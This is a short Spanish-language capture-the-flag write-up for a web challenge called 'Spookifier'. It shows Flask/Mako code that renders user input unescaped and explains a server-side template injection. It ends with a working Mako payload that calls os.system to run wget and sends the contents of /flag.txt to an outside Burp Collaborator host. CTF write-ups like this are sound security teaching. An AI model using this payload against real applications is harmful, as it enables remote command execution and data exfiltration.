Spookifier
Challenge Description
There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
Categoria: Web
Dificultad: Muy Fácil
Solution
Nos dan el codigo de la aplicacion. Analizando el codigo identificamos que puede ser vulnerable a SSTI. En esta parte del codigo se puede ver que renderiza directamente el valor que le enviamos.
def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()
Server Site Template Injection (SSTI)
Sabemos que la aplicacion esta utilizando mako como Template.
# Install dependencies
RUN pip install Flask==2.0.0 mako flask_mako Werkzeug==2.0.0
Podemos usar alguno de estos payloads para explotar la vulnerabilidad.
Sin embargo no recibimos un output como tal pero si podemos saber cuando se ejecuto correctamente o no nuestro comando.
Aparece un 0 cuando es correcto.
Aparece un 256 cuando es incorrecto o el comando no existe.
Por lo tanto utilizamos el siguiente payload para obtener la flag.
${self.module.cache.util.os.system("wget 7mul6x9mst8r9tdxzi7imbpnue05oycn.oastify.com/$(cat /flag.txt)")}
Esto se conectara a nuestro burpsuite y no enviara la bandera.